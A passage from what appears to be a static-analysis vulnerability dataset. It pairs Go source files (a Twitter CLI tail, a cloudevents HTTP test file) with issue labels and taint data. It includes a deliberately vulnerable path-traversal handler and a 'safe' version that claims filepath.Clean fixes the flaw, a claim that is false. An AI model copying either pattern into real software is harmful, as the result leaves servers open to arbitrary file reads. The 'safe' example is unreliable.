len(mediaFiles) > 4 {\n\t\tfmt.Printf(\"Can only upload 4 media files\\n\")\n\t\tos.Exit(1)\n\t}\n\n\tif toTweet == \"\" {\n\t\t// Read tweet text\n\t\tinputFile := os.Stdin\n\t\tif inputFileName != \"\" {\n\t\t\tvar err error\n\t\t\tinputFile, err = os.Open(inputFileName)\n\t\t\tcheck(err, \"Could not open -i file %s\", inputFileName)\n\t\t}\n\t\ttBytes, err := ioutil.ReadAll(inputFile)\n\t\tcheck(err)\n\t\ttoTweet = string(tBytes)\n\t} else {\n\t\tif inputFileName != \"\" {\n\t\t\tpanic(\"Cannot have both -t and -i options\")\n\t\t}\n\t}\n\n\t// Read media from files\n\turlv := make(map[string][]string)\n\tvar mediaStrings []string\n\tfor _, s := range mediaFiles {\n\t\tinputFile, err := os.Open(s)\n\t\tcheck(err, \"Could not open mediafile %s\", s)\n\t\tbytes, err := ioutil.ReadAll(inputFile)\n\t\tcheck(err, \"Could not read mediafile %s\", s)\n\t\tmediaStrings = append(mediaStrings, base64.StdEncoding.EncodeToString(bytes))\n\t}\n\n\t// Defer this as long as possible, so that all the errors come out fast.\n\tapi := GetApi(readMapFile(credentials))\n\n\t// Upload media if any\n\tif len(mediaStrings) > 0 {\n\t\tvar mediaValues = []string{\"\"} // all the media ids are comma-separated in a single string\n\t\tfor i, s := range mediaStrings {\n\t\t\tfmt.Printf(\"Uploading %s\\n\", mediaFiles[i])\n\t\t\tmv, err := api.UploadMedia(s)\n\t\t\tcheck(err, \"Unable to upload media in file %s\", mediaFiles[i])\n\t\t\tif i > 0 {\n\t\t\t\tmediaValues[0] = mediaValues[0] + \",\"\n\t\t\t}\n\t\t\tmediaValues[0] = mediaValues[0] + mv.MediaIDString\n\t\t}\n\t\turlv[\"media_ids\"] = mediaValues\n\t}\n\n\ttweet, err := api.PostTweet(toTweet, urlv)\n\tcheck(err, \"Was not able to post tweet \\n%s\\n\", toTweet)\n\tfmt.Printf(\"Tweet is \\n%+v\\n\", tweet)\n}\n\nfunc check(err error, messages ...interface{}) {\n\tif err != nil {\n\t\tif len(messages) > 0 {\n\t\t\tmaybeFmt := messages[0]\n\t\t\tif fm, ok := maybeFmt.(string); ok && len(messages) > 1 {\n\t\t\t\tfmt.Printf(fm, messages[1:])\n\t\t\t\tfmt.Println()\n\t\t\t} else {\n\t\t\t\tfmt.Println(maybeFmt)\n\t\t\t}\n\t\t}\n\t\tpanic(err)\n\t}\n}\nfunc readMapFile(fileName string) map[string]string {\n\tr := make(map[string]string)\n\tf, err := os.Open(fileName)\n\tcheck(err, \"Could not open configuration (map) file %s\", fileName)\n\n\tscanner := bufio.NewScanner(f)\n\tfor scanner.Scan() {\n\t\tline := scanner.Text()\n\t\tcolon := strings.Index(line, \":\")\n\t\tkey := strings.ToLower(strings.TrimSpace(line[:colon]))\n\t\tvalue := strings.TrimSpace(line[colon+1:])\n\t\tr[key] = value\n\t}\n\tcheck(scanner.Err())\n\n\treturn r\n}\n\nfunc GetApi(m map[string]string) *anaconda.TwitterApi {\n\treturn anaconda.NewTwitterApiWithCredentials(m[\"access token\"], m[\"access token secret\"],\n\t\tm[\"api key\"], m[\"api secret\"])\n}\n\ntype repeatedString []string\n\nfunc (c *repeatedString) String() string {\n\ts := \"\"\n\tfor i, v := range *c {\n\t\tif i > 0 {\n\t\t\ts += \",\"\n\t\t}\n\t\ts += v\n\t}\n\treturn s\n}\n\nfunc (c *repeatedString) Set(s string) error {\n\t*c = append(*c, s)\n\treturn nil\n}\n\nfunc (c *repeatedString) IsBoolFlag() bool {\n\treturn false\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 25, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 25, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 48, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "0f6b34bc53f050a7a2e8af0491ffb99c7e33b29956344db163aa06982b91f1d1", "license": {"spdx": ["Apache-2.0"], "repo": "mikehelmick/sdk-go", "path": "pkg/cloudevents/transport/http/options_test.go", "repo_head_hexsha": "d289f68c35e89dd9b6a32b1d41faf60a0d9d090a", "stack_hexsha": "39fa008393876811d1572d3a0b779d7876162bae", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Network Settings", "issueDescriptionEn": "Using `0.0.0.0` as the IP address means receiving all connection requests from all network interfaces in the system. In general, it is recommended that servers only accept connections from specific network interfaces. If not, servers may accept a connection request from an unexpected network interface, allowing a hacker to attempt an attack.\nWhen configuring a server, ensure to specify a specific IP address rather than `0.0.0.0` to determine which connections are accepted by each network interface.", "issueLineNumber": 393, "entireCode": "package http\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/cloudevents/sdk-go/pkg/cloudevents\"\n\t\"github.com/google/go-cmp/cmp\"\n\t\"github.com/google/go-cmp/cmp/cmpopts\"\n)\n\nfunc TestWithTarget(t *testing.T) {\n\ttestCases := map[string]struct {\n\t\tt *Transport\n\t\ttarget string\n\t\twant *Transport\n\t\twantErr string\n\t}{\n\t\t\"valid url\": {\n\t\t\tt: &Transport{\n\t\t\t\tReq: &http.Request{},\n\t\t\t},\n\t\t\ttarget: \"http://localhost:8080/\",\n\t\t\twant: &Transport{\n\t\t\t\tReq: &http.Request{\n\t\t\t\t\tURL: func() *url.URL {\n\t\t\t\t\t\tu, _ := url.Parse(\"http://localhost:8080/\")\n\t\t\t\t\t\treturn u\n\t\t\t\t\t}(),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"valid url, unset req\": {\n\t\t\tt: &Transport{},\n\t\t\ttarget: \"http://localhost:8080/\",\n\t\t\twant: &Transport{\n\t\t\t\tReq: &http.Request{\n\t\t\t\t\tMethod: http.MethodPost,\n\t\t\t\t\tURL: func() *url.URL {\n\t\t\t\t\t\tu, _ := url.Parse(\"http://localhost:8080/\")\n\t\t\t\t\t\treturn u\n\t\t\t\t\t}(),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"invalid url\": {\n\t\t\tt: &Transport{\n\t\t\t\tReq: &http.Request{},\n\t\t\t},\n\t\t\ttarget: \"%\",\n\t\t\twantErr: `http target option failed to parse target url: parse %: invalid URL escape \"%\"`,\n\t\t},\n\t\t\"empty target\": {\n\t\t\tt: &Transport{\n\t\t\t\tReq: &http.Request{},\n\t\t\t},\n\t\t\ttarget: \"\",\n\t\t\twantErr: `http target option was empty string`,\n\t\t},\n\t\t\"whitespace target\": {\n\t\t\tt: &Transport{\n\t\t\t\tReq: &http.Request{},\n\t\t\t},\n\t\t\ttarget: \" \\t\\n\",\n\t\t\twantErr: `http target option was empty string`,\n\t\t},\n\t\t\"nil transport\": {\n\t\t\twantErr: `http target option can not set nil transport`,\n\t\t},\n\t}\n\tfor n, tc := range testCases {\n\t\tt.Run(n, func(t *testing.T) {\n\n\t\t\terr := tc.t.applyOptions(WithTarget(tc.target))\n\n\t\t\tif tc.wantErr != \"\" || err != nil {\n\t\t\t\tvar gotErr string\n\t\t\t\tif err != nil {\n\t\t\t\t\tgotErr = err.Error()\n\t\t\t\t}\n\t\t\t\tif diff := cmp.Diff(tc.wantErr, gotErr); diff != \"\" {\n\t\t\t\t\tt.Errorf(\"unexpected error (-want, +got) = %v\", diff)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tgot := tc.t\n\n\t\t\tif diff := cmp.Diff(tc.want, got,\n\t\t\t\tcmpopts.IgnoreUnexported(Transport{}), cmpopts.IgnoreUnexported(http.Request{})); diff != \"\" {\n\t\t\t\tt.Errorf(\"unexpected (-want, +got) = %v\", diff)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestWithMethod(t *testing.T) {\n\ttestCases := map[string]struct {\n\t\tt *Transport\n\t\tmethod string\n\t\twant *Transport\n\t\twantErr string\n\t}{\n\t\t\"valid method\": {\n\t\t\tt: &Transport{\n\t\t\t\tReq: &http.Request{},\n\t\t\t},\n\t\t\tmethod: \"GET\",\n\t\t\twant: &Transport{\n\t\t\t\tReq: &http.Request{\n\t\t\t\t\tMethod: http.MethodGet,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"valid method, unset req\": {\n\t\t\tt: &Transport{},\n\t\t\tmethod: \"PUT\",\n\t\t\twant: &Transport{\n\t\t\t\tReq: &http.Request{\n\t\t\t\t\tMethod: http.MethodPut,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"empty method\": {\n\t\t\tt: &Transport{\n\t\t\t\tReq: &http.Request{},\n\t\t\t},\n\t\t\tmethod: \"\",\n\t\t\twantErr: `http method option was empty string`,\n\t\t},\n\t\t\"whitespace method\": {\n\t\t\tt: &Transport{\n\t\t\t\tReq: &http.Request{},\n\t\t\t},\n\t\t\tmethod: \" \\t\\n\",\n\t\t\twantErr: `http method option was empty string`,\n\t\t},\n\t\t\"nil transport\": {\n\t\t\twantErr: `http method option can not set nil transport`,\n\t\t},\n\t}\n\tfor n, tc := range testCases {\n\t\tt.Run(n, func(t *testing.T) {\n\n\t\t\terr := tc.t.applyOptions(WithMethod(tc.method))\n\n\t\t\tif tc.wantErr != \"\" || err != nil {\n\t\t\t\tvar gotErr string\n\t\t\t\tif err != nil {\n\t\t\t\t\tgotErr = err.Error()\n\t\t\t\t}\n\t\t\t\tif diff := cmp.Diff(tc.wantErr, gotErr); diff != \"\" {\n\t\t\t\t\tt.Errorf(\"unexpected error (-want, +got) = %v\", diff)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tgot := tc.t\n\n\t\t\tif diff := cmp.Diff(tc.want, got,\n\t\t\t\tcmpopts.IgnoreUnexported(Transport{}), cmpopts.IgnoreUnexported(http.Request{})); diff != \"\" {\n\t\t\t\tt.Errorf(\"unexpected (-want, +got) = %v\", diff)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestWithHeader(t *testing.T) {\n\ttestCases := map[string]struct {\n\t\tt *Transport\n\t\tkey string\n\t\tvalue string\n\t\twant *Transport\n\t\twantErr string\n\t}{\n\t\t\"valid header\": {\n\t\t\tt: &Transport{\n\t\t\t\tReq: &http.Request{},\n\t\t\t},\n\t\t\tkey: \"unit\",\n\t\t\tvalue: \"test\",\n\t\t\twant: &Transport{\n\t\t\t\tReq: &http.Request{\n\t\t\t\t\tHeader: http.Header{\n\t\t\t\t\t\t\"Unit\": {\n\t\t\t\t\t\t\t\"test\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"valid header, unset req\": {\n\t\t\tt: &Transport{},\n\t\t\tkey: \"unit\",\n\t\t\tvalue: \"test\",\n\t\t\twant: &Transport{\n\t\t\t\tReq: &http.Request{\n\t\t\t\t\tHeader: http.Header{\n\t\t\t\t\t\t\"Unit\": {\n\t\t\t\t\t\t\t\"test\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"empty header key\": {\n\t\t\tt: &Transport{\n\t\t\t\tReq: &http.Request{},\n\t\t\t},\n\t\t\tvalue: \"test\",\n\t\t\twantErr: `http header option was empty string`,\n\t\t},\n\t\t\"whitespace key\": {\n\t\t\tt: &Transport{\n\t\t\t\tReq: &http.Request{},\n\t\t\t},\n\t\t\tkey: \" \\t\\n\",\n\t\t\tvalue: \"test\",\n\t\t\twantErr: `http header option was empty string`,\n\t\t},\n\t\t\"nil transport\": {\n\t\t\twantErr: `http header option can not set nil transport`,\n\t\t},\n\t}\n\tfor n, tc := range testCases {\n\t\tt.Run(n, func(t *testing.T) {\n\n\t\t\terr := tc.t.applyOptions(WithHeader(tc.key, tc.value))\n\n\t\t\tif tc.wantErr != \"\" || err != nil {\n\t\t\t\tvar gotErr string\n\t\t\t\tif err != nil {\n\t\t\t\t\tgotErr = err.Error()\n\t\t\t\t}\n\t\t\t\tif diff := cmp.Diff(tc.wantErr, gotErr); diff != \"\" {\n\t\t\t\t\tt.Errorf(\"unexpected error (-want, +got) = %v\", diff)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tgot := tc.t\n\n\t\t\tif diff := cmp.Diff(tc.want, got,\n\t\t\t\tcmpopts.IgnoreUnexported(Transport{}), cmpopts.IgnoreUnexported(http.Request{})); diff != \"\" {\n\t\t\t\tt.Errorf(\"unexpected (-want, +got) = %v\", diff)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestWithShutdownTimeout(t *testing.T) {\n\ttestCases := map[string]struct {\n\t\tt *Transport\n\t\ttimeout time.Duration\n\t\twant *Transport\n\t\twantErr string\n\t}{\n\t\t\"valid timeout\": {\n\t\t\tt: &Transport{},\n\t\t\ttimeout: time.Minute * 4,\n\t\t\twant: &Transport{\n\t\t\t\tShutdownTimeout: durationptr(time.Minute * 4),\n\t\t\t},\n\t\t},\n\t\t\"nil transport\": {\n\t\t\twantErr: `http shutdown timeout option can not set nil transport`,\n\t\t},\n\t}\n\tfor n, tc := range testCases {\n\t\tt.Run(n, func(t *testing.T) {\n\n\t\t\terr := tc.t.applyOptions(WithShutdownTimeout(tc.timeout))\n\n\t\t\tif tc.wantErr != \"\" || err != nil {\n\t\t\t\tvar gotErr string\n\t\t\t\tif err != nil {\n\t\t\t\t\tgotErr = err.Error()\n\t\t\t\t}\n\t\t\t\tif diff := cmp.Diff(tc.wantErr, gotErr); diff != \"\" {\n\t\t\t\t\tt.Errorf(\"unexpected error (-want, +got) = %v\", diff)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tgot := tc.t\n\n\t\t\tif diff := cmp.Diff(tc.want, got,\n\t\t\t\tcmpopts.IgnoreUnexported(Transport{})); diff != \"\" {\n\t\t\t\tt.Errorf(\"unexpected (-want, +got) = %v\", diff)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc durationptr(duration time.Duration) *time.Duration {\n\treturn &duration\n}\n\nfunc intptr(i int) *int {\n\treturn &i\n}\n\nfunc TestWithPort(t *testing.T) {\n\ttestCases := map[string]struct {\n\t\tt *Transport\n\t\tport int\n\t\twant *Transport\n\t\twantErr string\n\t}{\n\t\t\"valid port\": {\n\t\t\tt: &Transport{},\n\t\t\tport: 8181,\n\t\t\twant: &Transport{\n\t\t\t\tPort: intptr(8181),\n\t\t\t},\n\t\t},\n\t\t\"invalid port, low\": {\n\t\t\tt: &Transport{},\n\t\t\tport: -1,\n\t\t\twantErr: `http port option was given an invalid port: -1`,\n\t\t},\n\t\t\"invalid port, high\": {\n\t\t\tt: &Transport{},\n\t\t\tport: 65536,\n\t\t\twantErr: `http port option was given an invalid port: 65536`,\n\t\t},\n\t\t\"nil transport\": {\n\t\t\twantErr: `http port option can not set nil transport`,\n\t\t},\n\t}\n\tfor n, tc := range testCases {\n\t\tt.Run(n, func(t *testing.T) {\n\n\t\t\terr := tc.t.applyOptions(WithPort(tc.port))\n\n\t\t\tif tc.wantErr != \"\" || err != nil {\n\t\t\t\tvar gotErr string\n\t\t\t\tif err != nil {\n\t\t\t\t\tgotErr = err.Error()\n\t\t\t\t}\n\t\t\t\tif diff := cmp.Diff(tc.wantErr, gotErr); diff != \"\" {\n\t\t\t\t\tt.Errorf(\"unexpected error (-want, +got) = %v\", diff)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tgot := tc.t\n\n\t\t\tif diff := cmp.Diff(tc.want, got,\n\t\t\t\tcmpopts.IgnoreUnexported(Transport{}), cmpopts.IgnoreUnexported(http.Request{})); diff != \"\" {\n\t\t\t\tt.Errorf(\"unexpected (-want, +got) = %v\", diff)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Force a transport to close its server/listener by cancelling StartReceiver\nfunc forceClose(tr *Transport) {\n\tctx, cancel := context.WithCancel(context.Background())\n\tgo func() { _ = tr.StartReceiver(ctx) }()\n\tcancel()\n}\n\nfunc TestWithPort0(t *testing.T) {\n\ttestCases := map[string]func() (*Transport, error){\n\t\t\"WithPort0\": func() (*Transport, error) { return New(WithPort(0)) },\n\t\t\"SetPort0\": func() (*Transport, error) { return &Transport{Port: new(int)}, nil },\n\t}\n\tfor name, f := range testCases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\ttr, err := f()\n\t\t\tif err != nil {\n\t\t\t\tt.Fatal(err)\n\t\t\t}\n\t\t\tdefer func() { forceClose(tr) }()\n\t\t\tport := tr.GetPort()\n\t\t\tif port <= 0 {\n\t\t\t\tt.Error(\"no dynamic port\")\n\t\t\t}\n\t\t\tif d := cmp.Diff(port, *tr.Port); d != \"\" {\n\t\t\t\tt.Error(d)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestWithListener(t *testing.T) {\n\tl, err := net.Listen(\"tcp\", \":0\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\ttr, err := New(WithListener(l))\n\tdefer func() { forceClose(tr) }()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tport := tr.GetPort()\n\tif port <= 0 {\n\t\tt.Error(\"no dynamic port\")\n\t}\n\tif d := cmp.Diff(port, l.Addr().(*net.TCPAddr).Port); d != \"\" {\n\t\tt.Error(d)\n\t}\n}\n\nfunc TestWithPath(t *testing.T) {\n\ttestCases := map[string]struct {\n\t\tt *Transport\n\t\tpath string\n\t\twant *Transport\n\t\twantErr string\n\t}{\n\t\t\"valid path\": {\n\t\t\tt: &Transport{},\n\t\t\tpath: \"/test\",\n\t\t\twant: &Transport{\n\t\t\t\tPath: \"/test\",\n\t\t\t},\n\t\t},\n\t\t\"invalid path\": {\n\t\t\tt: &Transport{},\n\t\t\tpath: \"\",\n\t\t\twantErr: `http path option was given an invalid path: \"\"`,\n\t\t},\n\t\t\"nil transport\": {\n\t\t\twantErr: `http path option can not set nil transport`,\n\t\t},\n\t}\n\tfor n, tc := range testCases {\n\t\tt.Run(n, func(t *testing.T) {\n\n\t\t\terr := tc.t.applyOptions(WithPath(tc.path))\n\n\t\t\tif tc.wantErr != \"\" || err != nil {\n\t\t\t\tvar gotErr string\n\t\t\t\tif err != nil {\n\t\t\t\t\tgotErr = err.Error()\n\t\t\t\t}\n\t\t\t\tif diff := cmp.Diff(tc.wantErr, gotErr); diff != \"\" {\n\t\t\t\t\tt.Errorf(\"unexpected error (-want, +got) = %v\", diff)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tgot := tc.t\n\n\t\t\tif diff := cmp.Diff(tc.want, got,\n\t\t\t\tcmpopts.IgnoreUnexported(Transport{}), cmpopts.IgnoreUnexported(http.Request{})); diff != \"\" {\n\t\t\t\tt.Errorf(\"unexpected (-want, +got) = %v\", diff)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestWithEncoding(t *testing.T) {\n\ttestCases := map[string]struct {\n\t\tt *Transport\n\t\tencoding Encoding\n\t\twant *Transport\n\t\twantErr string\n\t}{\n\t\t\"valid encoding\": {\n\t\t\tt: &Transport{},\n\t\t\tencoding: StructuredV03,\n\t\t\twant: &Transport{\n\t\t\t\tEncoding: StructuredV03,\n\t\t\t},\n\t\t},\n\t\t\"nil transport\": {\n\t\t\twantErr: `http encoding option can not set nil transport`,\n\t\t},\n\t}\n\tfor n, tc := range testCases {\n\t\tt.Run(n, func(t *testing.T) {\n\n\t\t\terr := tc.t.applyOptions(WithEncoding(tc.encoding))\n\n\t\t\tif tc.wantErr != \"\" || err != nil {\n\t\t\t\tvar gotErr string\n\t\t\t\tif err != nil {\n\t\t\t\t\tgotErr = err.Error()\n\t\t\t\t}\n\t\t\t\tif diff := cmp.Diff(tc.wantErr, gotErr); diff != \"\" {\n\t\t\t\t\tt.Errorf(\"unexpected error (-want, +got) = %v\", diff)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tgot := tc.t\n\n\t\t\tif diff := cmp.Diff(tc.want, got,\n\t\t\t\tcmpopts.IgnoreUnexported(Transport{})); diff != \"\" {\n\t\t\t\tt.Errorf(\"unexpected (-want, +got) = %v\", diff)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestWithDefaultEncodingSelector(t *testing.T) {\n\n\tfn := func(ctx context.Context, e cloudevents.Event) Encoding {\n\t\treturn Default\n\t}\n\n\ttestCases := map[string]struct {\n\t\tt *Transport\n\t\tfn EncodingSelector\n\t\twant *Transport\n\t\twantErr string\n\t}{\n\t\t\"valid fn\": {\n\t\t\tt: &Transport{},\n\t\t\tfn: fn,\n\t\t\twant: &Transport{\n\t\t\t\tDefaultEncodingSelectionFn: fn,\n\t\t\t},\n\t\t},\n\t\t\"invalid fn\": {\n\t\t\tt: &Transport{},\n\t\t\tfn: nil,\n\t\t\twantErr: \"http fn for DefaultEncodingSelector was nil\",\n\t\t},\n\t\t\"nil transport\": {\n\t\t\twantErr: `http default encoding selector option can not set nil transport`,\n\t\t},\n\t}\n\tfor n, tc := range testCases {\n\t\tt.Run(n, func(t *testing.T) {\n\n\t\t\terr := tc.t.applyOptions(WithDefaultEncodingSelector(tc.fn))\n\n\t\t\tif tc.wantErr != \"\" || err != nil {\n\t\t\t\tvar gotErr string\n\t\t\t\tif err != nil {\n\t\t\t\t\tgotErr = err.Error()\n\t\t\t\t}\n\t\t\t\tif diff := cmp.Diff(tc.wantErr, gotErr); diff != \"\" {\n\t\t\t\t\tt.Errorf(\"unexpected error (-want, +got) = %v\", diff)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tgot := tc.t\n\n\t\t\tif diff := cmp.Diff(tc.want, got,\n\t\t\t\tcmpopts.IgnoreUnexported(Transport{}),\n\t\t\t\tcmpopts.IgnoreFields(Transport{}, \"DefaultEncodingSelectionFn\")); diff != \"\" {\n\t\t\t\tt.Errorf(\"unexpected (-want, +got) = %v\", diff)\n\t\t\t}\n\t\t\tif tc.fn == nil {\n\t\t\t\tif got.DefaultEncodingSelectionFn != nil {\n\t\t\t\t\tt.Errorf(\"expected nil DefaultEncodingSelectionFn\")\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\twant := fmt.Sprintf(\"%v\", tc.fn)\n\t\t\t\tgot := fmt.Sprintf(\"%v\", got.DefaultEncodingSelectionFn)\n\t\t\t\tif got != want {\n\t\t\t\t\tt.Errorf(\"unexpected DefaultEncodingSelectionFn; want: %v; got: %v\", want, got)\n\t\t\t\t}\n\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestWithBinaryEncoding(t *testing.T) {\n\n\tfn := DefaultBinaryEncodingSelectionStrategy\n\n\ttestCases := map[string]struct {\n\t\tt *Transport\n\t\tfn EncodingSelector\n\t\twant *Transport\n\t\twantErr string\n\t}{\n\t\t\"valid\": {\n\t\t\tt: &Transport{},\n\t\t\tfn: fn,\n\t\t\twant: &Transport{\n\t\t\t\tDefaultEncodingSelectionFn: fn,\n\t\t\t},\n\t\t},\n\t\t\"nil transport\": {\n\t\t\twantErr: `http binary encoding option can not set nil transport`,\n\t\t},\n\t}\n\tfor n, tc := range testCases {\n\t\tt.Run(n, func(t *testing.T) {\n\n\t\t\terr := tc.t.applyOptions(WithBinaryEncoding())\n\n\t\t\tif tc.wantErr != \"\" || err != nil {\n\t\t\t\tvar gotErr string\n\t\t\t\tif err != nil {\n\t\t\t\t\tgotErr = err.Error()\n\t\t\t\t}\n\t\t\t\tif diff := cmp.Diff(tc.wantErr, gotErr); diff != \"\" {\n\t\t\t\t\tt.Errorf(\"unexpected error (-want, +got) = %v\", diff)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tgot := tc.t\n\n\t\t\tif diff := cmp.Diff(tc.want, got,\n\t\t\t\tcmpopts.IgnoreUnexported(Transport{}),\n\t\t\t\tcmpopts.IgnoreFields(Transport{}, \"DefaultEncodingSelectionFn\")); diff != \"\" {\n\t\t\t\tt.Errorf(\"unexpected (-want, +got) = %v\", diff)\n\t\t\t}\n\n\t\t\tif tc.fn == nil {\n\t\t\t\tif got.DefaultEncodingSelectionFn != nil {\n\t\t\t\t\tt.Errorf(\"expected nil DefaultEncodingSelectionFn\")\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\twant := fmt.Sprintf(\"%v\", tc.fn)\n\t\t\t\tgot := fmt.Sprintf(\"%v\", got.DefaultEncodingSelectionFn)\n\t\t\t\tif got != want {\n\t\t\t\t\tt.Errorf(\"unexpected DefaultEncodingSelectionFn; want: %v; got: %v\", want, got)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestWithStructuredEncoding(t *testing.T) {\n\n\tfn := DefaultStructuredEncodingSelectionStrategy\n\n\ttestCases := map[string]struct {\n\t\tt *Transport\n\t\tfn EncodingSelector\n\t\twant *Transport\n\t\twantErr string\n\t}{\n\t\t\"valid\": {\n\t\t\tt: &Transport{},\n\t\t\tfn: fn,\n\t\t\twant: &Transport{\n\t\t\t\tDefaultEncodingSelectionFn: fn,\n\t\t\t},\n\t\t},\n\t\t\"nil transport\": {\n\t\t\twantErr: `http structured encoding option can not set nil transport`,\n\t\t},\n\t}\n\tfor n, tc := range testCases {\n\t\tt.Run(n, func(t *testing.T) {\n\n\t\t\terr := tc.t.applyOptions(WithStructuredEncoding())\n\n\t\t\tif tc.wantErr != \"\" || err != nil {\n\t\t\t\tvar gotErr string\n\t\t\t\tif err != nil {\n\t\t\t\t\tgotErr = err.Error()\n\t\t\t\t}\n\t\t\t\tif diff := cmp.Diff(tc.wantErr, gotErr); diff != \"\" {\n\t\t\t\t\tt.Errorf(\"unexpected error (-want, +got) = %v\", diff)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tgot := tc.t\n\n\t\t\tif diff := cmp.Diff(tc.want, got,\n\t\t\t\tcmpopts.IgnoreUnexported(Transport{}),\n\t\t\t\tcmpopts.IgnoreFields(Transport{}, \"DefaultEncodingSelectionFn\")); diff != \"\" {\n\t\t\t\tt.Errorf(\"unexpected (-want, +got) = %v\", diff)\n\t\t\t}\n\t\t\tif tc.fn == nil {\n\t\t\t\tif got.DefaultEncodingSelectionFn != nil {\n\t\t\t\t\tt.Errorf(\"expected nil DefaultEncodingSelectionFn\")\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\twant := fmt.Sprintf(\"%v\", tc.fn)\n\t\t\t\tgot := fmt.Sprintf(\"%v\", got.DefaultEncodingSelectionFn)\n\t\t\t\tif got != want {\n\t\t\t\t\tt.Errorf(\"unexpected DefaultEncodingSelectionFn; want: %v; got: %v\", want, got)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestWithMiddleware(t *testing.T) {\n\ttestCases := map[string]struct {\n\t\tt *Transport\n\t\twantErr string\n\t}{\n\t\t\"nil transport\": {\n\t\t\twantErr: \"http middleware option can not set nil transport\",\n\t\t},\n\t\t\"non-nil transport\": {\n\t\t\tt: &Transport{},\n\t\t},\n\t}\n\tfor n, tc := range testCases {\n\t\tt.Run(n, func(t *testing.T) {\n\t\t\terr := tc.t.applyOptions(WithMiddleware(func(next http.Handler) http.Handler {\n\t\t\t\treturn next\n\t\t\t}))\n\t\t\tif tc.wantErr != \"\" {\n\t\t\t\tif err == nil || err.Error() != tc.wantErr {\n\t\t\t\t\tt.Fatalf(\"Expected error '%s'. Actual '%v'\", tc.wantErr, err)\n\t\t\t\t}\n\t\t\t} else if err != nil {\n\t\t\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestWithLongPollTarget(t *testing.T) {\n\ttestCases := map[string]struct {\n\t\tt *Transport\n\t\ttarget string\n\t\twant *Transport\n\t\twantErr string\n\t}{\n\t\t\"valid url\": {\n\t\t\tt: &Transport{\n\t\t\t\tLongPollReq: &http.Request{},\n\t\t\t},\n\t\t\ttarget: \"http://localhost:8080/\",\n\t\t\twant: &Transport{\n\t\t\t\tLongPollReq: &http.Request{\n\t\t\t\t\tURL: func() *url.URL {\n\t\t\t\t\t\tu, _ := url.Parse(\"http://localhost:8080/\")\n\t\t\t\t\t\treturn u\n\t\t\t\t\t}(),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"valid url, unset req\": {\n\t\t\tt: &Transport{},\n\t\t\ttarget: \"http://localhost:8080/\",\n\t\t\twant: &Transport{\n\t\t\t\tLongPollReq: &http.Request{\n\t\t\t\t\tMethod: http.MethodGet,\n\t\t\t\t\tURL: func() *url.URL {\n\t\t\t\t\t\tu, _ := url.Parse(\"http://localhost:8080/\")\n\t\t\t\t\t\treturn u\n\t\t\t\t\t}(),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"invalid url\": {\n\t\t\tt: &Transport{\n\t\t\t\tLongPollReq: &http.Request{},\n\t\t\t},\n\t\t\ttarget: \"%\",\n\t\t\twantErr: `http long poll target option failed to parse target url: parse %: invalid URL escape \"%\"`,\n\t\t},\n\t\t\"empty target\": {\n\t\t\tt: &Transport{\n\t\t\t\tLongPollReq: 